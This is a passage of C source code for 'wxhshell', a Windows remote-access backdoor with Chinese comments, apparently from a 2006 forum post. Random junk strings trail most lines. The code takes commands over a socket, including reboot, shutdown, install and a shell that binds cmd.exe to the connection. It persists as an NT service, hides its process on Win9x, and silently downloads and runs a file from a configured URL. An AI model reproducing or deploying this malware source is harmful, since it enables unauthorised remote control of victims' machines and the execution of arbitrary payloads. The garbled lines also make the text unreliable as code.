    switch(cmd[0]) { ib50LCm  
  3}M \c)  
  // 帮助 0_V*B[V  
  case '?': { 75(W(V(q  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @f=RL)$|  
    break; vb}/@F,Q5  
  } Qg>L,ZO  
  // 安装 XqFu(Lm8=  
  case 'i': { Rrz'(KSDw  
    if(Install()) U+!UL5k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U2&HSE|2J  
    else UT-ewXh  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pYGYy'%A'  
    break; FH -p!4+]  
    } n8FT<pUq  
  // 卸载 8dV=1O$ /  
  case 'r': { q6)p*}-  
    if(Uninstall()) b3^R,6]x&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (6#M9XL  
    else 9L=;KtE1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | M _%QM.  
    break; )=(n/vckM  
    } z[FI2jl  
  // 显示 wxhshell 所在路径 Q2R-z^pd  
  case 'p': { H:E5xz3VQ  
    char svExeFile[MAX_PATH]; ris;Iu^v0  
    strcpy(svExeFile,"\n\r"); gL,"ef+nM  
      strcat(svExeFile,ExeFile); p[;8  
        send(wsh,svExeFile,strlen(svExeFile),0); b.6ZfB,+G  
    break; KQW!\y?$"  
    } BGA%"b  
  // 重启 hOSf'mi  
  case 'b': { 5)x6Q|-u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8v$ g  
    if(Boot(REBOOT)) X o_] v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =u[rOU{X"W  
    else { |<QI%Y$dr  
    closesocket(wsh); \SzGzCJ  
    ExitThread(0); t_Z _!Qy  
    } y$v@wb5  
    break; 2:/u2K  
    } 7Ff?Ysr  
  // 关机 Ahd\TH  
  case 'd': { G/%Ubi6%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); B^Bbso'{1  
    if(Boot(SHUTDOWN)) I-,Xwj-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?V6 %>RU  
    else { I<9n(rA  
    closesocket(wsh); ){jqfkL  
    ExitThread(0); D;J|eC>^  
    } Vy&f"4~  
    break; G$S1#F -  
    } v?%0~!  
  // 获取shell eTT^KqE>&  
  case 's': { +Gp!cGaAm  
    CmdShell(wsh); 1uY3[Z9S  
    closesocket(wsh); ,?;sT`Mh)  
    ExitThread(0); 6HB]T)n  
    break; A@\qoS[  
  } Bd.Z+#%l"  
  // 退出 Yo@m50s$  
  case 'x': { D'85VZEFyo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); oFwG+W /  
    CloseIt(wsh); widI s[ )  
    break; )fy <P;g  
    } ~t$mw,  
  // 离开 A &;EV#]ge  
  case 'q': { Y]M^n&f  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a$laRtId7  
    closesocket(wsh); 3a/[."W u  
    WSACleanup(); #efqG=q  
    exit(1); rSzQUn<  
    break; jaL$LJV  
        } X9z:D>   
  } @yCW8]  
  } P7cge  
% i %ew4  
  // 提示信息 ./'; P <)  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v hR twi  
} CL EpB2_  
  } )#)nBM2\  
3^j~~ "2,w  
  return; <[/PyNYK  
} 'MSEki67  
ze*&*csO  
// shell模块句柄 /0Rt+`  
int CmdShell(SOCKET sock) d?Ia#K9 3G  
{ s+(l7xH$  
STARTUPINFO si; %_]=i@Y~  
ZeroMemory(&si,sizeof(si)); $^!a`Xr  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u'#`yTB6b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uDpf2(>s  
PROCESS_INFORMATION ProcessInfo; 87&KQ_  
char cmdline[]="cmd"; RI#lI~&)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); )PsN_ 42~  
  return 0; _ .-o%6  
} u-8X$aJ  
"sz.v<F0:s  
// 自身启动模式 y|FBYcn#F  
int StartFromService(void) W\nHX I  
{ lNq:JVJ#\r  
typedef struct Jslk  
{ E \ K  
  DWORD ExitStatus; E`A<]dAoK  
  DWORD PebBaseAddress; L"Qh_+   
  DWORD AffinityMask; i5ajM,i/K  
  DWORD BasePriority; P@^z:RS*{  
  ULONG UniqueProcessId; ~uP r]#  
  ULONG InheritedFromUniqueProcessId; 2U=/<3;u  
}   PROCESS_BASIC_INFORMATION; ^#<: <X6  
g,A.Y,})  
PROCNTQSIP NtQueryInformationProcess; [K"U_b}w  
DBqg_v  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I rtF4ia.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yS1b,cxz  
HA$^ *qn  
  HANDLE             hProcess; ))%@@l[  
  PROCESS_BASIC_INFORMATION pbi; *#9VC)Q  
|@T5$Xg]5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g;u<[>'I  
  if(NULL == hInst ) return 0; Sb@{f<3E  
j AJ/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); {bAWc.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); NB|RZf9M  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0A) Vtj$  
Yio>ft&g]  
  if (!NtQueryInformationProcess) return 0; xI/{)I1f  
zbF:R[)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^yEj]]6  
  if(!hProcess) return 0; 4jC4X*  
>%PL_<Vbv  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [dSDg2]  
n"^/UQ|#j  
  CloseHandle(hProcess); CT$& zEIm  
h|(Z XCH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1YF+(fk  
if(hProcess==NULL) return 0; ?.rH;:9To  
,7n;|1`  
HMODULE hMod; }}4 sh5z  
char procName[255]; 4yJ*85e]  
unsigned long cbNeeded; (T>?8 K _d  
>?\v@   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $UFge%`,q@  
reqfgNg  
  CloseHandle(hProcess); Wx']tFn"  
fD3jwPL  
if(strstr(procName,"services")) return 1; // 以服务启动 ,ZzB#\  
)vEHLp.  
  return 0; // 注册表启动 a>&;K@  
} |Ak =-.  
4~m.#6MT  
// 主模块 /pAm8vK   
int StartWxhshell(LPSTR lpCmdLine) J1gEjd   
{ %2rHvF=  
  SOCKET wsl; :{TmR3.  
BOOL val=TRUE; lRa 3v Ng  
  int port=0; c&| '3i+  
  struct sockaddr_in door; . BYKdxa  
L&!g33J&  
  if(wscfg.ws_autoins) Install(); +q`rz  
t+W=2w&  
port=atoi(lpCmdLine); %v`-uAy:  
IF36K^K  
if(port<=0) port=wscfg.ws_port; [5Y$L  
8osS OOzM  
  WSADATA data; A;kw}!  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CN8@c!mB  
3$96+A^M*  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )JY_eG&2Dx  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (dLE<\E  
  door.sin_family = AF_INET;  &*>C PO  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &(H)gjH  
  door.sin_port = htons(port); ,E/Y@sajn+  
r {/ G\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LEn=dU  
closesocket(wsl); O$<%z[  
return 1; aUIc=Z  
} M<#)D  
q5'yD;[hE  
  if(listen(wsl,2) == INVALID_SOCKET) { `lu"yF  
closesocket(wsl); U'Ja\Ek/f  
return 1; w$(0V$l_  
} P- `~]]  
  Wxhshell(wsl); d0H  
  WSACleanup(); Z3abem<Q  
YP$*;l  
return 0; @LW xz  
]Jq k C4|  
} Bp$+ F/  
Q~b M  
// 以NT服务方式启动 XRz%KVysp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) T$.-{I  
{ C+L_61  
DWORD   status = 0; }Pm(oR'KTJ  
  DWORD   specificError = 0xfffffff; )D" G3g.  
NrI 5uC7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ulPrb>i  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; LrM.wr zI/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; evg 7d  
  serviceStatus.dwWin32ExitCode     = 0; 4U! .UNi  
  serviceStatus.dwServiceSpecificExitCode = 0; "z#?OV5  
  serviceStatus.dwCheckPoint       = 0; cyHak u+  
  serviceStatus.dwWaitHint       = 0; WFeMr%Zqh>  
].<sAmL^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aaf_3UH.B  
  if (hServiceStatusHandle==0) return; pw<q?q%  
^pQo`T6  
status = GetLastError(); yf#%)-7(  
  if (status!=NO_ERROR) M::IE|h  
{ fN"oa>X  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -'H+lrmv  
    serviceStatus.dwCheckPoint       = 0; Y)4Nydq  
    serviceStatus.dwWaitHint       = 0; $*v20  
    serviceStatus.dwWin32ExitCode     = status; !6tC[W`  
    serviceStatus.dwServiceSpecificExitCode = specificError; ?CT^Zegmr  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); PkCeV]`w  
    return; ssr)f8R#,#  
  } CI~;B  
5%Fn^u:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,5A>:2 zs  
  serviceStatus.dwCheckPoint       = 0; "{ QHWZ  
  serviceStatus.dwWaitHint       = 0; 6JFDRsX>)?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N>}K+M>  
} {DXZ}7w:v  
yu?s5  
// 处理NT服务事件,比如:启动、停止 "<.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?k:])^G5  
{ Er/5 ,  
switch(fdwControl) 'd.@4 9  
{ t0V_ c'm  
case SERVICE_CONTROL_STOP: }DUDA%U  
  serviceStatus.dwWin32ExitCode = 0; " ;R3260  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PRk%C0`  
  serviceStatus.dwCheckPoint   = 0; 5KH'|z  
  serviceStatus.dwWaitHint     = 0; 4h_4jqf=pU  
  { !NAX6m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7f\^VG  
  } MMA@J  
  return; J2 rLsNC]0  
case SERVICE_CONTROL_PAUSE: ,@>rubUz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f`9rT c  
  break; ^9*|_\3N  
case SERVICE_CONTROL_CONTINUE: w[A3;]la  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UQf>5g  
  break; QV H'06 "{  
case SERVICE_CONTROL_INTERROGATE: *UL|{_)c  
  break; ^qus `6  
}; <9k}CXv2PK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kzVI:  
} +@],$=aE?  
ge {4;,0=  
// 标准应用程序主函数 U)w|GrxX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 5G ]#yb74  
{ RBD7mpd  
<9@]|  
// 获取操作系统版本 +#JhhW Zj(  
OsIsNt=GetOsVer(); vBn=bb'W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9c;lTl^4;  
qQ DFg`  
  // 从命令行安装 XX[Wwt  
  if(strpbrk(lpCmdLine,"iI")) Install(); zl#&Qm4Ot  
sV'.Bomq  
  // 下载执行文件 &?g!}Ky \  
if(wscfg.ws_downexe) { CG>2 ,pP,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &N7:k+E  
  WinExec(wscfg.ws_filenam,SW_HIDE); 3F'dT[;  
} ?a0}^:6  
+e]b,9.sR  
if(!OsIsNt) { +$= Wms-z  
// 如果时win9x,隐藏进程并且设置为注册表启动 ylxfh(  
HideProc(); S,tVOxs^  
StartWxhshell(lpCmdLine); <[5${)  
} qCkg\)Ks5I  
else *-!ndbf  
  if(StartFromService()) H6JMN1#t$  
  // 以服务方式启动 W>|b98NPu  
  StartServiceCtrlDispatcher(DispatchTable); 3Q~&xNf  
else l`%} {3r9  
  // 普通方式启动 gcCYXPZp  
  StartWxhshell(lpCmdLine); 6dy4{i  
)B&<Bk+  
return 0; 8kc'|F\  
}
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只看该作者 1 发表于: 2006-10-10
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